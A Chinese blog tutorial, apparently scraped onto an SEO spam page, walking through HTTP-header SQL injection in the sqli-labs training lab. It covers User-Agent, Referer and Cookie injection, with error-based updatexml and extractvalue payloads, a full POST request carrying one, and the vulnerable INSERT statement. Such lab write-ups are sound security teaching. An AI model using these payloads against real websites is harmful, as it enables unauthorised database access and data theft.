当前位置: 首页 > news >正文

网站建设的主要步骤网络销售平台怎么做

网站建设的主要步骤,网络销售平台怎么做,合网站建设,淘宝里网站建设公司可以吗Ps: 先做实验,在有操作的基础上理解原理会更清晰更深入。 一、实验 sqli-lab 1. User-Agent注入 特点:登陆后返回用户的 User-Agent --> 服务器端可能记录用户User-Agent 输入不合法数据报错 payload: and updatexml(1,concat("~&…

Ps: 先做实验,在有操作的基础上理解原理会更清晰更深入。

一、实验 sqli-lab

1. User-Agent注入

  • 特点:登陆后返回用户的 User-Agent --> 服务器端可能记录用户User-Agent

703d0c6f-0f55-4500-a971-b9d0cf652954

  • 输入不合法数据报错

4aca6065-85d6-43dd-89b0-16a7caa4597a

  • payload:' and updatexml(1,concat("~",database(),"~"),1),'','')-- clay

  • 数据包
POST /sqli-labs/Less-18/index.php HTTP/1.1
Host: 10.49.102.86
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 38
Connection: close
X-Forward-For:
User-Agent:' and updatexml(1,concat("~",database(),"~"),1),'','')-- clay
Upgrade-Insecure-Requests: 1submit=Submit&uname=admin&passwd=admin
  • 备注:

该注入是insert语句的注入,完整SQL语句为:

$insert="INSERT INTO `security'. 'uagents'( uagent', ' ip_address', 'username')VALUES ( '$uagent' ,'$IP', $uname)";
payload有效备注
‘,’‘,’') and updatexml(1,concat(““,database(),””),1)先闭合insert
’ and updatexml(1,concat(““,database(),””),1),‘’,‘’)-- clay`后闭合insert

总结:insert类型的SQL注入时,在注入点闭合后就添加要执行的语句,而不是,闭合完整个insert语句后再添加要执行的语句。

2. Referer注入

特点: 返回用户的Referer,可能后端会记录该值

3726faf2-3584-4891-99e5-0bc3efb17fdb

85289be8-628f-49f0-995c-73d63c69c0a2

payload12138' and extractvalue(1,concat("~",database())) ,'') -- clay

b68e69f1-db3f-47c4-bcc6-6cedf52ade72

3. Cookie注入

特点: 返回,后端可能记录User-Agent和Cookie

90f536c0-61f5-4ee1-951b-6954bb5d96bc

把cookie的值删除后:

2597990e-329c-4dae-aed5-35a20e4550ce

2e912a1c-f84b-430c-877f-6d1f431d1194

payload: ' and updatexml(1,concat("~",database(),"~"),1) -- clay

fa799001-4aab-44cc-b85d-cf2f8b3a7b62

二、 HTTP头部注入讲解

一下均为自己的理解,讲的大白话一点,粗体是核心。

原理:

HTTP头部注入产生的核心原因就是,后端存在查询或记录HTTP请求头内容(数据库交互)

实验一:后端记录 User-Agent ,insert 类型的注入

实验二:后端记录 Referer ,insert 类型的注入

实验三:后端查询 cookie ,select 类型的注入

不同的注入类型存在不同的闭合方式,这个一点要注意,除上述闭合类型以外,当搜索框中存在注入时,可能需要%的闭合(模糊查询 like %xxx%)

三、总结

在这里还是再次强调一下SQL注入产生的条件:用户输入的语句带入到数据库执行

  1. 参数可控

  2. 带入到数据库执行

HTTP头部注入也是一模一样,用户可以控制HTTP请求头,后端带入到数据库执行,这两个条件缺一个都不可以!

如果对你有所帮助拜托拜托点赞收藏加评论666,更多文章内容欢迎访问笔者博客 :xclay.net

http://www.khdw.cn/news/4724.html

相关文章:

  • 昭通市有做网站的吗公司网站建设推广
  • 越秀区政府门户网站建设seo关键词优化怎么收费
  • 好用的html编辑器如何优化网页
  • 长沙企业网站制作哪家好在线生成网站
  • 招商加盟网站的图应该怎么做傻瓜式自助建站系统
  • 牛商网 做的p2p网站杭州优化建筑设计
  • 网站设置什么意思长沙网站推广
  • 桂林市网站设计东莞优化网站关键词优化
  • 旅游电子商务 网站建设自己怎么搭建网站
  • 珠宝网站形象设计最常用的网页制作软件
  • 网页设计手机端seo搜索培训
  • 希腊网站后缀网站整站优化
  • 廊坊哪里有做网站建设的站长工具seo综合查询腾讯
  • 手机端网站如何做排名电脑培训学校网站
  • vantage wordpressseo是指什么职位
  • 万网云主机 wordpress人员优化是什么意思
  • 专业微信网站建设公司首选软文有哪些推广渠道
  • 那个网站做的系统最好短链接
  • 做暧暖爱视频1000部在线网站seo网站平台
  • 桂林网站建设兼职万能搜索引擎入口
  • 现在公司做各网站要多少钱搜索最全的搜索引擎
  • 网站建设深圳亿联时代以品牌推广为目的的广告网络平台
  • .asp网站开发seo专业培训技术
  • html5微网站源码sem是什么的缩写
  • 威海做企业网站网络营销策划书案例
  • 大连网络宣传网站视频优化是什么意思
  • 重庆有没有做网站的南城网站优化公司
  • 装修报价单明细表完整 清单点石关键词排名优化软件
  • wordpress网站加密百度一下网页版
  • 临汾做网站网页设计学生作业模板